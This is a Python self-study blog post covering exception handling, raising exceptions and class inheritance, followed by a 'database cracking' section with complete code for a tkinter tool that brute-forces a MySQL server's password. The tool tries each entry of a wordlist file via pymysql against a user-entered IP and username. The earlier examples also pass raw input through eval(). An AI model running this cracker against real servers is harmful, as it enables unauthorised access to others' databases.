python self-study-class16-exception, MySQL and inheritance

1. Exception handling:

num1=eval(input("num1"))
num2=eval(input("num2"))
try:
    print(num1/num2)  #异常,可能正确,可能错误

except ZeroDivisionError:  #处理错误,使程序继续运行下去
    print("num2禁止=0")
print("hello word")

2. Set exception prompt:

def makename(name):
    if name.find("SB")!=-1:
        print(name)
        raise NameError  #主动提示异常,不能用expect处理
    return name
try:
    print(makename("SB"))
except:
    print("error")

3. Inheritance:

class 父母:
    def __init__(self):
        self.money=200000000

class 子女(父母):    #继承
    def __init__(self):
        super(子女, self).__init__()   #继承父辈成员
        pass

china父母 = 父母()
print(china父母.money)
chian子女 = 子女()
print(chian子女.money)

4. Explosive database:
First, I need a data file with a password. Here I set up a password book.txt, which contains my MySQL password;
1) Enter the display function:

#coding=gbk
import tkinter
from tkinter import ttk
import 爆库.ShowPassOKorNO



class InputView:
    def __init__(self):
        self.win = tkinter.Tk()
        self.win.geometry("800x800+300+0")   #设置界面大小及位置
        self.label1=tkinter.Label(self.win,text="ip")
        self.label2 = tkinter.Label(self.win, text="user")
        self.label1.place(x=0,y=0)
        self.label2.place(x=0,y=50)

        self.entry1 = tkinter.Entry(self.win)  #导入文本框
        self.entry1.place(x=100,y=0)

        self.entry2 = tkinter.Entry(self.win)  #导入文本框
        self.entry2.place(x=100,y=50)

        self.button = tkinter.Button(self.win,text = "破解",command = self.search)  #导入搜索键,command表示绑定search的行为
        self.button.place(x=200,y=100)



    def call(self,event):
        print(event.keysym)
        if(event.keysym=="return"):
            self.search()

    def search(self):
        mylist = 爆库.ShowPassOKorNO.Listshowdata(self.entry1.get(),self.entry2.get())
        mylist.show()
    def show(self):
        self.win.mainloop()

inputs=InputView()
inputs.show()

2) Use the passwords in the codebook to match one by one until the match is successful, because the database does not need to be verified, and the number of password attempts is not limited, so this exhaustive method can be used to obtain the password;

import pymysql
import codecs
class MySQLCreak:
    def __init__(self,ip,user):
        filepath=r"D:\Python代码\class16\爆库\密码本.txt"
        self.file = codecs.open(filepath,"rb","gbk","ignore")   #打开文件
        self.ip=ip
        self.user=user
    def startcrack(self,showview):   #showview是Listshowdata类型
        while True:
            line = self.file.readline()
            linelist=line.split(" # ")
            mystr = self.crack(linelist[0])
            print(mystr)    #处理切割出来的的密码
            showview.addata(mystr)
            if mystr.find("正确")!=-1:
                break
            if not line:
                break
    def crack(self,password):
        isOK = False
        try:
            db = pymysql.connect(host=self.ip, user=self.user, password=password)
            db.close()
        except pymysql.err.OperationalError:  # 特定异常
            isOK=False
        else:
            isOK=True
        if isOK:
            return "密码正确"+password
        else:
            return "密码错误"+password

    def __del__(self):
        self.file.close()

3) Display in the window:

import tkinter
import 爆库.MySQLTest

class Listshowdata:
    def __init__(self,ip,user):
        self.win=tkinter.Tk() #构造窗体
        self.win.geometry("800x800+300+0")   #搜索数据显示窗口
        self.mylist=tkinter.Listbox(self.win,width=200,height=400)  #列表框


        self.crack=爆库.MySQLTest.MySQLCreak(ip,user)
        self.button = tkinter.Button(self.win,text = "破解",command = self.startgo)  #导入搜索键,command表示绑定search的行为
        self.button.pack()
        self.mylist.pack()
    def startgo(self):
        self.crack.startcrack(self)  #传递自身这个对象的地址
    def addata(self,inserstr):
        self.mylist.insert(tkinter.END,inserstr)
        #列表list只能装256,建议使用文本
    def show(self):
        self.win.mainloop()

running result:
Insert picture description here

Guess you like

Origin blog.csdn.net/weixin_46837674/article/details/113250261